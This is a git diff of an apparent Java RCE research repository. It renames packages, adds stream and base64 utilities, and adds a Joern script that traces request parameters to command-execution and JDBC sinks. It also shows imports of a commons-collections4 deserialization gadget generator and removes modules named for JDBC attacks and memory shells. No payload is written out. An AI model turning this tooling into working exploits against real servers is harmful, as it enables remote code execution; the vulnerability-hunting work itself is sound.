copyToByteArray(Files.newInputStream(in.toPath())); + } + + public static int copy(InputStream in, OutputStream out) throws IOException { + int var2; + try { + var2 = StreamUtils.copy(in, out); + } finally { + close(in); + close(out); + } + + return var2; + } + + public static void copy(byte[] in, OutputStream out) throws IOException { + try { + out.write(in); + } finally { + close(out); + } + + } + + public static byte[] copyToByteArray( InputStream in) throws IOException { + if (in == null) { + return new byte[0]; + } else { + ByteArrayOutputStream out = new ByteArrayOutputStream(4096); + copy(in, out); + return out.toByteArray(); + } + } + + public static int copy(Reader in, Writer out) throws IOException { + try { + int charCount = 0; + + int charsRead; + for (char[] buffer = new char[4096]; (charsRead = in.read(buffer)) != -1; charCount += charsRead) { + out.write(buffer, 0, charsRead); + } + + out.flush(); + int var5 = charCount; + return var5; + } finally { + close(in); + close(out); + } + } + + public static void copy(String in, Writer out) throws IOException { + try { + out.write(in); + } finally { + close(out); + } + + } + + public static String copyToString( Reader in) throws IOException { + if (in == null) { + return ""; + } else { + StringWriter out = new StringWriter(4096); + copy((Reader) in, (Writer) out); + return out.toString(); + } + } + + private static void close(Closeable closeable) { + try { + closeable.close(); + } catch (IOException var2) { + } + + } +} diff --git a/Utils/src/main/java/org/ppp/tools/Reflections.java b/Utils/src/main/java/com/ppp/tools/Reflections.java similarity index 99% rename from Utils/src/main/java/org/ppp/tools/Reflections.java rename to Utils/src/main/java/com/ppp/tools/Reflections.java index b4b09d2..ebc1016 100755 --- a/Utils/src/main/java/org/ppp/tools/Reflections.java +++ b/Utils/src/main/java/com/ppp/tools/Reflections.java @@ -1,4 +1,4 @@ -package org.ppp.tools; +package com.ppp.tools; import sun.reflect.ReflectionFactory; diff --git a/Utils/src/main/java/org/ppp/tools/SerialVersionUID.java b/Utils/src/main/java/com/ppp/tools/SerialVersionUID.java similarity index 96% rename from Utils/src/main/java/org/ppp/tools/SerialVersionUID.java rename to Utils/src/main/java/com/ppp/tools/SerialVersionUID.java index 96c0285..0f6fff6 100644 --- a/Utils/src/main/java/org/ppp/tools/SerialVersionUID.java +++ b/Utils/src/main/java/com/ppp/tools/SerialVersionUID.java @@ -1,4 +1,4 @@ -package org.ppp.tools; +package com.ppp.tools; import java.io.ObjectStreamClass; diff --git a/Utils/src/main/java/com/ppp/tools/StreamUtils.java b/Utils/src/main/java/com/ppp/tools/StreamUtils.java new file mode 100644 index 0000000..c3535f1 --- /dev/null +++ b/Utils/src/main/java/com/ppp/tools/StreamUtils.java @@ -0,0 +1,162 @@ +package com.ppp.tools; + +import java.io.*; +import java.nio.charset.Charset; + +/** + * @author Whoopsunix + * + * 数据流工具类 + */ +public class StreamUtils { + public static final int BUFFER_SIZE = 4096; + private static final byte[] EMPTY_CONTENT = new byte[0]; + + public StreamUtils() { + } + + public static byte[] copyToByteArray( InputStream in) throws IOException { + if (in == null) { + return new byte[0]; + } else { + ByteArrayOutputStream out = new ByteArrayOutputStream(4096); + copy((InputStream)in, out); + return out.toByteArray(); + } + } + + public static String copyToString( InputStream in, Charset charset) throws IOException { + if (in == null) { + return ""; + } else { + StringBuilder out = new StringBuilder(4096); + InputStreamReader reader = new InputStreamReader(in, charset); + char[] buffer = new char[4096]; + + int charsRead; + while((charsRead = reader.read(buffer)) != -1) { + out.append(buffer, 0, charsRead); + } + + return out.toString(); + } + } + + public static String copyToString(ByteArrayOutputStream baos, Charset charset) { + + + + try { + return baos.toString(charset.name()); + } catch (UnsupportedEncodingException var3) { + throw new IllegalArgumentException("Invalid charset name: " + charset, var3); + } + } + + public static void copy(byte[] in, OutputStream out) throws IOException { + + + out.write(in); + out.flush(); + } + + public static void copy(String in, Charset charset, OutputStream out) throws IOException { + + + + Writer writer = new OutputStreamWriter(out, charset); + writer.write(in); + writer.flush(); + } + + public static int copy(InputStream in, OutputStream out) throws IOException { + + + int byteCount = 0; + + int bytesRead; + for(byte[] buffer = new byte[4096]; (bytesRead = in.read(buffer)) != -1; byteCount += bytesRead) { + out.write(buffer, 0, bytesRead); + } + + out.flush(); + return byteCount; + } + + public static long copyRange(InputStream in, OutputStream out, long start, long end) throws IOException { + + + long skipped = in.skip(start); + if (skipped < start) { + throw new IOException("Skipped only " + skipped + " bytes out of " + start + " required"); + } else { + long bytesToCopy = end - start + 1L; + byte[] buffer = new byte[(int)Math.min(4096L, bytesToCopy)]; + + while(bytesToCopy > 0L) { + int bytesRead = in.read(buffer); + if (bytesRead == -1) { + break; + } + + if ((long)bytesRead <= bytesToCopy) { + out.write(buffer, 0, bytesRead); + bytesToCopy -= (long)bytesRead; + } else { + out.write(buffer, 0, (int)bytesToCopy); + bytesToCopy = 0L; + } + } + + return end - start + 1L - bytesToCopy; + } + } + + public static int drain(InputStream in) throws IOException { + + byte[] buffer = new byte[4096]; + + int byteCount; + int bytesRead; + for(byteCount = 0; (bytesRead = in.read(buffer)) != -1; byteCount += bytesRead) { + } + + return byteCount; + } + + public static InputStream emptyInput() { + return new ByteArrayInputStream(EMPTY_CONTENT); + } + + public static InputStream nonClosing(InputStream in) { + + return new NonClosingInputStream(in); + } + + public static OutputStream nonClosing(OutputStream out) { + + return new NonClosingOutputStream(out); + } + + private static class NonClosingOutputStream extends FilterOutputStream { + public NonClosingOutputStream(OutputStream out) { + super(out); + } + + public void write(byte[] b, int off, int let) throws IOException { + this.out.write(b, off, let); + } + + public void close() throws IOException { + } + } + + private static class NonClosingInputStream extends FilterInputStream { + public NonClosingInputStream(InputStream in) { + super(in); + } + + public void close() throws IOException { + } + } +} diff --git a/Utils/src/main/java/org/ppp/tools/ThreadObjectFinder.java b/Utils/src/main/java/com/ppp/tools/ThreadObjectFinder.java similarity index 93% rename from Utils/src/main/java/org/ppp/tools/ThreadObjectFinder.java rename to Utils/src/main/java/com/ppp/tools/ThreadObjectFinder.java index 3826b37..9d8d44d 100644 --- a/Utils/src/main/java/org/ppp/tools/ThreadObjectFinder.java +++ b/Utils/src/main/java/com/ppp/tools/ThreadObjectFinder.java @@ -1,4 +1,4 @@ -package org.ppp.tools; +package com.ppp.tools; import java.lang.reflect.Field; import java.util.*; @@ -28,13 +28,13 @@ public Object getTargetObject(String className) throws Exception { breakObject.add(System.identityHashCode(breakObject)); // 原始类型和包装类都不递归 - HashSet breakType = new HashSet<>(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); + HashSet breakType = new HashSet(Arrays.asList(int.class.getName(), short.class.getName(), long.class.getName(), double.class.getName(), byte.class.getName(), float.class.getName(), char.class.getName(), boolean.class.getName(), Integer.class.getName(), Short.class.getName(), Long.class.getName(), Double.class.getName(), Byte.class.getName(), Float.class.getName(), Character.class.getName(), Boolean.class.getName(), String.class.getName())); Object object = Thread.currentThread(); // Object result = threadObjectFinder.getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30); // 调试用 - ArrayList stackList = new ArrayList<>(); + ArrayList stackList = new ArrayList(); Object result = threadObjectFinder.getTargetObject(cls, Thread.currentThread(), breakObject, breakType, 30, stackList, object.getClass().getName()); @@ -267,8 +267,8 @@ public Class getTargetClass(String className, List activeClassLoade * @throws Exception */ public List getActiveClassLoaders() throws Exception { -// List activeClassLoaders = new ArrayList<>(); - Set activeClassLoaders = new HashSet<>(); +// List activeClassLoaders = new ArrayList(); + Set activeClassLoaders = new HashSet(); // 加载当前对象的加载器 activeClassLoaders.add(this.getClass().getClassLoader()); @@ -291,6 +291,6 @@ public List getActiveClassLoaders() throws Exception { activeClassLoaders.add(threads[i].getContextClassLoader()); } - return new ArrayList<>(activeClassLoaders); + return new ArrayList(activeClassLoaders); } } diff --git a/Utils/src/main/java/org/ppp/tools/encryption/B64.java b/Utils/src/main/java/com/ppp/tools/encryption/B64.java similarity index 78% rename from Utils/src/main/java/org/ppp/tools/encryption/B64.java rename to Utils/src/main/java/com/ppp/tools/encryption/B64.java index 7537474..994bf2a 100644 --- a/Utils/src/main/java/org/ppp/tools/encryption/B64.java +++ b/Utils/src/main/java/com/ppp/tools/encryption/B64.java @@ -1,4 +1,4 @@ -package org.ppp.tools.encryption; +package com.ppp.tools.encryption; import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; @@ -50,6 +50,12 @@ public String encodeStr(byte[] b) { return ""; } + public static String base64encoder(byte[] bytes) throws Exception { + String base64str = new sun.misc.BASE64Encoder().encode(bytes); + base64str = base64str.replaceAll("\n|\r", ""); + return base64str; + } + // file public String encodeFile(String filePath) throws Exception { InputStream in = new FileInputStream(filePath); @@ -68,13 +74,13 @@ public String decodeStr1(String base64Str) { } // base64解密rt2 - public String decodeStr2(String base64Str) { - try { - byte[] b = com.sun.org.apache.xml.internal.security.utils.Base64.decode(base64Str); - return new String(b); - } catch (Exception e){ - - } - return ""; - } +// public String decodeStr2(String base64Str) { +// try { +// byte[] b = com.sun.org.apache.xml.internal.security.utils.Base64.decode(base64Str); +// return new String(b); +// } catch (Exception e){ +// +// } +// return ""; +// } } diff --git a/Utils/src/main/java/org/ppp/tools/encryption/EncryptionDemo.java b/Utils/src/main/java/com/ppp/tools/encryption/EncryptionDemo.java similarity index 99% rename from Utils/src/main/java/org/ppp/tools/encryption/EncryptionDemo.java rename to Utils/src/main/java/com/ppp/tools/encryption/EncryptionDemo.java index 9bae1d6..e5a9ef1 100644 --- a/Utils/src/main/java/org/ppp/tools/encryption/EncryptionDemo.java +++ b/Utils/src/main/java/com/ppp/tools/encryption/EncryptionDemo.java @@ -1,4 +1,4 @@ -package org.ppp.tools.encryption; +package com.ppp.tools.encryption; import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; diff --git a/Utils/src/main/java/org/ppp/tools/ser/CC4Generator.java b/Utils/src/main/java/com/ppp/tools/ser/CC4Generator.java similarity index 99% rename from Utils/src/main/java/org/ppp/tools/ser/CC4Generator.java rename to Utils/src/main/java/com/ppp/tools/ser/CC4Generator.java index ebaacf3..deef3f4 100644 --- a/Utils/src/main/java/org/ppp/tools/ser/CC4Generator.java +++ b/Utils/src/main/java/com/ppp/tools/ser/CC4Generator.java @@ -1,5 +1,8 @@ -package org.ppp.tools.ser; +package com.ppp.tools.ser; +import com.ppp.tools.ClassFiles; +import com.ppp.tools.Reflections; +import com.ppp.tools.encryption.B64; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.thoughtworks.xstream.XStream; import org.apache.commons.collections4.Transformer; @@ -7,9 +10,6 @@ import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; -import org.ppp.tools.ClassFiles; -import org.ppp.tools.Reflections; -import org.ppp.tools.encryption.B64; import javax.xml.transform.Templates; import java.io.FileOutputStream; diff --git a/Utils/src/main/java/org/ppp/tools/ser/Calc.java b/Utils/src/main/java/com/ppp/tools/ser/Calc.java similarity index 89% rename from Utils/src/main/java/org/ppp/tools/ser/Calc.java rename to Utils/src/main/java/com/ppp/tools/ser/Calc.java index dcad483..65b0085 100644 --- a/Utils/src/main/java/org/ppp/tools/ser/Calc.java +++ b/Utils/src/main/java/com/ppp/tools/ser/Calc.java @@ -1,4 +1,4 @@ -package org.ppp.tools.ser; +package com.ppp.tools.ser; import java.util.Scanner; diff --git a/Utils/src/main/java/org/ppp/tools/ser/GZIPMaker.java b/Utils/src/main/java/com/ppp/tools/ser/GZIPMaker.java similarity index 98% rename from Utils/src/main/java/org/ppp/tools/ser/GZIPMaker.java rename to Utils/src/main/java/com/ppp/tools/ser/GZIPMaker.java index f7fc89e..32e873c 100644 --- a/Utils/src/main/java/org/ppp/tools/ser/GZIPMaker.java +++ b/Utils/src/main/java/com/ppp/tools/ser/GZIPMaker.java @@ -1,4 +1,4 @@ -package org.ppp.tools.ser; +package com.ppp.tools.ser; import javassist.ClassPool; import javassist.CtClass; diff --git a/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/JavaObjectSearcher.java b/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/JavaObjectSearcher.java index c9d4518..67a8049 100644 --- a/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/JavaObjectSearcher.java +++ b/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/JavaObjectSearcher.java @@ -32,7 +32,7 @@ public class JavaObjectSearcher { private String result_file; private String all_chain_file; private String run_log_file; - private List searched = new ArrayList<>(); + private List searched = new ArrayList(); public JavaObjectSearcher(Object target, String[] keys, String project_name){ diff --git a/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/SearchRequstByBFS.java b/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/SearchRequstByBFS.java index a2cc935..b09a103 100644 --- a/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/SearchRequstByBFS.java +++ b/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/SearchRequstByBFS.java @@ -20,8 +20,8 @@ public class SearchRequstByBFS { //private Logger logger = Logger.getLogger(SearchRequstByBFS.class); private String model_name = SearchRequstByBFS.class.getSimpleName(); private Object target; - private List keys = new ArrayList<>(); - private List blacklists = new ArrayList<>(); + private List keys = new ArrayList(); + private List blacklists = new ArrayList(); private int max_search_depth = Integer.MAX_VALUE;/* 递归搜索深度 */ private boolean is_debug = true; //记录所有访问过的元素 diff --git a/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/SearchRequstByDFS.java b/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/SearchRequstByDFS.java index 3c8f958..0d919e3 100644 --- a/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/SearchRequstByDFS.java +++ b/java-object-searcher/src/main/java/me/gv7/tools/josearcher/searcher/SearchRequstByDFS.java @@ -24,7 +24,7 @@ public class SearchRequstByDFS { private String model_name = SearchRequstByDFS.class.getSimpleName(); private Object target; private List keys; - private List blacklists = new ArrayList<>(); + private List blacklists = new ArrayList(); private int max_search_depth = Integer.MAX_VALUE;/* 递归搜索深度 */ private boolean is_debug = false; private String report_save_path = null; diff --git a/joern/README.md b/joern/README.md new file mode 100644 index 0000000..97cfe32 --- /dev/null +++ b/joern/README.md @@ -0,0 +1,9 @@ +base joern 2.0.404 + +```shell +# 生成 cpg +./javasrc2cpg -J-Xmx2048m /Users/ppp/Documents/pppRepository/github_file/JavaRce/SecVulns --output ../source/SecVulns.cpg.bin + +# 执行脚本 +./joern --script /Users/ppp/Documents/pppRepository/github_file/JavaRce/joern/joern.sc --param cpgFile=../source/SecVulns.cpg.bin --param outFile=../source/output.log +``` \ No newline at end of file diff --git a/joern/joern.sc b/joern/joern.sc new file mode 100644 index 0000000..b777cd8 --- /dev/null +++ b/joern/joern.sc @@ -0,0 +1,79 @@ +import java.io.* + +import io.shiftleft.codepropertygraph.generated.nodes.Call +import io.shiftleft.codepropertygraph.generated.nodes.Method + +@main def run(cpgFile: String, outFile: String) = { + importCpg(cpgFile) + +// def results = exec() ::: jdbc() + def results = test() + + results.foreach { line => + println(line) + fileWrite(outFile, line) + } + + // 写入文件 + // results #> outFile +} + +// test +def exec(): List[String] = { + def source = getSource() + + def param = source.parameter + + def sink = cpg.call.methodFullName("java.lang.Runtime.*").typeFullName("java.lang.Process") + + def results = sink.reachableByFlows(param).p + + return results +} + +// JDBC +def jdbc(): List[String] = { + def source = getSource() + + def param = source.parameter + + def sink = cpg.call.methodFullName("java.sql.DriverManager.getConnection.*").typeFullName("java.sql.Connection") + + def results = sink.reachableByFlows(param).p + + return results +} + +// 命令执行 +def exec(): List[String] = { + def source = getSource() + + def param = source.parameter + + def sink1 = cpg.call.methodFullName("java.lang.Runtime.*").typeFullName("java.lang.Process") + + def sink2 = cpg.call.methodFullName("java.lang.ProcessBuilder.start.*").typeFullName("java.lang.Process") + + def results = sink1.reachableByFlows(param).p ++ sink2.reachableByFlows(param).p + + return results +} + +// todo @main 中获取 source 再传入会查不到,很怪 +def getSource(): Iterator[Method] = { + // @*Mapping 注解 + def source = cpg.method.where(_.annotation.name(".*Mapping")) + + return source +} + +def fileWrite(fileName: String, textData: String): Unit = { + val fileWriter = new FileWriter(fileName, true) + val bufferedWriter = new BufferedWriter(fileWriter) + val printWriter = new PrintWriter(bufferedWriter) + try { + printWriter.println(textData) + } finally { + printWriter.close() + } +} diff --git a/pom.xml b/pom.xml index 33f9ccb..a1bb514 100644 --- a/pom.xml +++ b/pom.xml @@ -4,18 +4,14 @@ org.example JavaRce - 1.0-SNAPSHOT + 1.0 pom JavaRce - Command - Expression - JDBCAttack - Serialization - MemShellAndRceEcho - FilesOperations + SecVulns Utils + java-object-searcher @@ -25,10 +21,6 @@ - - org.springframework.boot - spring-boot-maven-plugin - org.apache.maven.plugins maven-compiler-plugin